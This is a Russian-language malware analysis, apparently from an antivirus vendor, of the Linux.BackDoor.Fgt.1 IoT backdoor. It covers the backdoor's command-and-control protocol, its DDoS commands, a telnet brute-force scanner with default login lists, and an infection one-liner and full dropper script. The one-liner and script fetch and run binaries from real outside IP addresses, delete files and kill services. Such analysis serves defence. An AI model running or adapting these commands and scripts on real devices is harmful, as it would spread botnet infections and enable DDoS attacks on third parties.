Троянская программа, способная заражать различные устройства, работающие под управлением ОС Linux. Существуют версии Linux.BackDoor.Fgt.1 для различных дистрибутивов Linux, в том числе встраиваемых систем для архитектур MIPS и SPARC. Предназначена для осуществления DDoS-атак.
В процессе инициализации на инфицированном устройстве Linux.BackDoor.Fgt.1 получает значение текущего времени и ID собственного процесса, применяет операцию XOR к полученным значениям и использует результат в качестве seed для генератора случайных чисел:
void __cdecl init_rand(DWORD seed)
{
DWORD i; // [sp+Ch] [bp-4h]@1
Q[0] = seed;
Q[1] = seed - 0x61C88647;
Q[2] = seed + 0x3C6EF372;
for ( i = 3; i <= 4095; ++i )
{
Q[i] = Q[i - 2] ^ Q[i - 3] ^ i ^ 0x9E3779B9;
}
}
Затем троянец проверяет наличие подключения к Интернету, обращаясь к одному из серверов Google (8.8.8.8:53). Если соединение удалось установить, вредоносная программа вызывает функции getsockname и ioctl с параметром SIOCGIFHWADDR, получая таким образом IP и MAC-адрес зараженного устройства.
После инициализации Linux.BackDoor.Fgt.1 пытается связаться с командным сервером, адрес которого «зашит» в теле самого троянца в одном из двух возможных вариантов:
aaa.bbb.ccc.ddd
или
aaa.bbb.ccc.ddd:port
В первом случае выполняется попытка подключения к порту 1776. После установки соединения Linux.BackDoor.Fgt.1 отправляет на командный сервер строку:
"BUILD %s\nPING"
где вместо %s используется ключевая фраза, обозначающая версию троянца, например, «NEW WORLD ORDER».
В ответ троянец получает от сервера буфер размером 4096 байт, удаляет из него пробелы в начале и в конце. Если буфер содержит команду PING, троянец отправляет на управляющий сервер ответ PONG и продолжает функционировать на инфицированном устройстве. При получении команды DUP Linux.BackDoor.Fgt.1 завершает свою работу.
Буфер имеет вид:
!string cmd arg_list\0
где string и cmd - ASCII строки, разделенные пробелом, arg_list - массив ASCII строк, разделенных пробелами или значением '\n'.
Если приведенная к заглавным буквам строка cmd совпадает со строкой "SH", то arg_list представляет собой команды для выполнения через "sh -c", а вывод команды будет скопирован управляющему серверу.
Иначе arg_list разбивается на подстроки (каждый символ пробела или переноса строки заменяется на \0) и формируется буфер команды:
char * pCmdBuffer[] = { cmd, arg0, arg1, ... };
где cmd - строка, содержащая команду, arg0, arg1,... - строки, обозначающие аргументы для команды.
Linux.BackDoor.Fgt.1 способен выполнять следующие команды:
Команда | Описание | Ответ | Формат команды |
---|---|---|---|
"PING" | Проверка связи | "PONG" | |
"GETLOCALIP" | Запрос IP инфицированного устройства | "My IP: %s", вместо %s подставляется текстовое представление IP зараженного устройства | |
"SCANNER" | Изменение состояния сканера | Если команда пришла без доп. параметров, то "SCANNER ON | OFF", Иначе, если доп. параметр "OFF", ответ не отсылается. Иначе, если доп. параметр "ON", см. в секции SCANNER (ниже). | |
"DNS" | DNS Amplification | "DNS <target> <port (0 for random)> <time> <some data> <domain for resolving> <num of packets> " | |
"UDP" | UDP Flood | "UDP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> (packet size, usually 0) (time poll interval, default 10)" | |
"TCP" | SYN Flood | "TCP <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> <flags (syn, ack, psh, rst, fin, all) comma seperated> (packet size, usually 0) (time poll interval, default 10)" | |
"JUNK" | Генерация случайного трафика | "JUNK <ip> <port> <time>" | |
"HOLD" | Генерация случайного трафика | "HOLD <ip> <port> <time>" | |
"RANDOM" | UDP Flood | "RANDOM <target> <port (0 for random)> <time> <netmask (32 for non spoofed)> (packet size, usually 0) (time poll interval, default 10)" | |
"KILLATK" | Остановить DDoS-атаку | ||
"LOLNOGTFO" | Завершить работу бэкдора |
Троянец обладает специальной функцией, с использованием которой он в течение одного цикла осуществляет сканирование 256 IP-адресов удаленных устройств. Используется следующий алгоритм генерации списка адресов для последующего сканирования.
Троянец инициализирует массив из 256 структур st_scan_data и отправляет на сервер строку "Starting gayscan":
#pragma pack(push, 1)
struct st_scan_data
{
_DWORD socket;
_DWORD RndPublicIp;
_BYTE state;
_BYTE disconnected;
_BYTE UsernameIndex;
_BYTE PasswordsIndex;
_DWORD time;
_WORD pos;
_BYTE *buffer;
};
#pragma pack(pop)
- Linux.BackDoor.Fgt.1 генерирует случайный внешний IP-адрес (не допускаются диапазоны 10.*.*.*, 127.*.*.*, 169.254.*.*, 100.64+,*.*, 172.16-.*.*, 192.0.2.*, 192.88.99.*, 192.168.*.*, 198.18.*.*, 198.19.*.*, 198.51.100.*, 203.0.113.*, 224+.*.*.*) и пытается установить соединение с ним. Если попытка завершается ошибкой, отправляет на управляющий сервер соответствующий отчет:
где первый аргумент %d – номер структуры, а второй аргумент %d — IP адрес."[%d:%d] socket couldn't init" "[%d:%d] socket dead, rip"
- Затем троянец устанавливает параметры сокета, в случае ошибки отправляет на управляющий сервер соответствующий отчет:
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] couldn't select, rip" "[%d:%d] sockets are set up, commencing"
- Далее вредоносная программа читает данные от удаленного хоста и ищет там запрос ввода пары логин/пароль по строкам:
В случае удачи отправляет на управляющий сервер сообщение:"user" "login" "pass" "dvrdvs" "name"
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] login prompt found"
или
если в течение 10 секунд от удаленного узла не было получено искомых данных."[%d:%d] timed out"
- Троянец отсылает на управляющий сервер следующую информацию:
"[%d:%d] sending username %s [%s]"
Аргументы: номер структуры, состояние, логин, пароль.
Логин выбирается из следующего списка:
"root" "admin"
Пароль выбирается из следующего списка:
"root" "admin" "12345" "" (пустая строка)
- В зависимости от возвращаемой атакуемым узлом ошибки на командный сервер могут быть отправлены следующие сообщения:
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] couldn't send newline" "[%d:%d] couldn't send username"
- В ответе атакуемого хоста Linux.BackDoor.Fgt.1 ищет строки, сигнализирующие о запросе пароля. Если одна из строк найдена, то отправляет на управляющий сервер строку
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] password prompt found"
- Троянец отправляет пароль хосту и сообщение на управляющий сервер:
Аргументы: номер структуры, состояние, логин, пароль."[%d:%d] sending password %s [%s]"
В случае ошибки отправляет на управляющий сервер одно из следующих сообщений:
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] couldn't send newline" "[%d:%d] couldn't send password"
- В отклике атакуемого хоста троянец ищет строки:
Если найдено совпадение, проверяет, имеются ли в ответе строки, сигнализирующие о неудачной попытке авторизации:"invalid" "incorrect" "fail" "again" "wrong" "accessdenied" "error" "bad" "success" "busybox" "shell" "dvrdvs"
Если одна из них найдена, то вредоносная программа отправит на управляющий сервер строку:"invalid" "incorrect" "fail" "again" "wrong" "accessdenied" "error" "bad"
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] incorrect"
- Далее троянец отсылает на управляющий сервер строку:
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] writing the gay echo -e"
А атакуемому узлу отправляет команду echo:
Если произошла ошибка, то отправляет управляющему серверу строку:"echo -e '\\x67\\x61\\x79\\x66\\x67\\x74'\r\n"
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] error sending gayfgt confirmation"
- Троянец проверяет, что команда echo отработала, путем проверки ответа хоста на наличие строки "gayfgt". Далее отправляет на управляющий сервер строку:
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] gayfgt found or timed out"
И затем:
где аргументы: IP хоста (к которому подобрана пара логин-пароль), логин, пароль."REPORT %s:%s:%s"
- На управляющий сервер отправляется строка:
где первый аргумент %d - порядковый номер структуры, второй аргумент %d - состояние выполнения задачи."[%d:%d] shitting on your moms chest"
А атакуемому хосту отправляется команда:
Успешность выполнения команды проверяется наличием в отклике атакуемого узла строки "binfagt".cd /tmp/; busybox tftp 217.71.50.13 -c get bin3; sh bin3.sh; busybox tftp -r bin2.sh -g 217.71.50.13; sh bin2.sh; busybox wget http://192.3.205.154/bin.sh; sh bin.sh; echo -e '\\x62\\x69\\x6e\\x66\\x61\\x67\\x74'\r\n
Затем пункты 1-11 повторяются для остальных 255 структур. Таким образом, за одно сканирование проверяется 256 случайных IP-адресов.
В случае успешной авторизации на атакованном узле троянец направляет на него команду загрузки специального скрипта, который, в свою очередь, скачивает из Интернета и запускает во взломанной системе исполняемый файл самого троянца Linux.BackDoor.Fgt.1:
#!/bin/sh
cd /tmp/
rm -f *
rm -rf /tmp/*
rm -rf /home/hik/* && cd /home/hik
rm -rf /var/run/*
sleep 5;
killall telnetx
killall mips
killall mipsel
killall arm
killall ppc
killall arm7
killall superh
killall i586
killall i686
killall sparc
killall .usb
sleep 5;
busybox wget http://192.3.205.154/mips;
cp /bin/busybox ./; cat mips > busybox;
rm mips; cp busybox mips;
rm busybox; ./mips && sleep 2
busybox wget http://192.3.205.154/mipsel;
cp /bin/busybox ./;
cat mipsel > busybox; rm mipsel;
cp busybox mipsel;
rm busybox;
./mipsel && sleep 2
busybox wget http://192.3.205.154/arm;
cp /bin/busybox ./;
cat arm > busybox; rm arm;
cp busybox arm;
rm busybox; ./arm && sleep 3
#busybox wget http://192.3.205.154/arm7;
#cp /bin/busybox ./;
#cat arm7 > busybox; rm arm7;
#cp busybox arm7;
#rm busybox;
#./arm7 && sleep 2
busybox wget http://192.3.205.154/ppc;
cp /bin/busybox ./;
cat ppc > busybox; rm ppc;
cp busybox ppc;
rm busybox;
./ppc && sleep 3
busybox wget http://192.3.205.154/superh;
cp /bin/busybox ./;
cat superh > busybox;
rm superh;
cp busybox superh;
rm busybox;
./superh && sleep 2
busybox wget http://192.3.205.154/i586;
cp /bin/busybox ./;
cat i586 > busybox;
rm i586;
cp busybox i586;
rm busybox;
./i586 &&
sleep 2
busybox wget http://192.3.205.154/i686;
cp /bin/busybox ./;
cat i686 > busybox; rm i686;
cp busybox i686;
rm busybox;
./i686 &&
sleep 2
busybox wget http://192.3.205.154/sparc;
cp /bin/busybox ./;
cat sparc > busybox;
rm sparc;
cp busybox sparc;
rm busybox;
./sparc && sleep 2
sleep 5;
rm -f *
sleep 5;
killall -9 sshd
killall -9 telnetd
Примечательно, что на принадлежащем вирусописателям сервере имеется значительное количество исполняемых файлов Linux.BackDoor.Fgt.1, скомпилированных для разных версий и дистрибутивов Linux, в том числе для встраиваемых систем с архитектурой MIPS и SPARC-серверов. Таким образом, троянец может инфицировать не только подключенные к Интернету серверы и рабочие станции под управлением Linux, но и другие устройства, например, маршрутизаторы.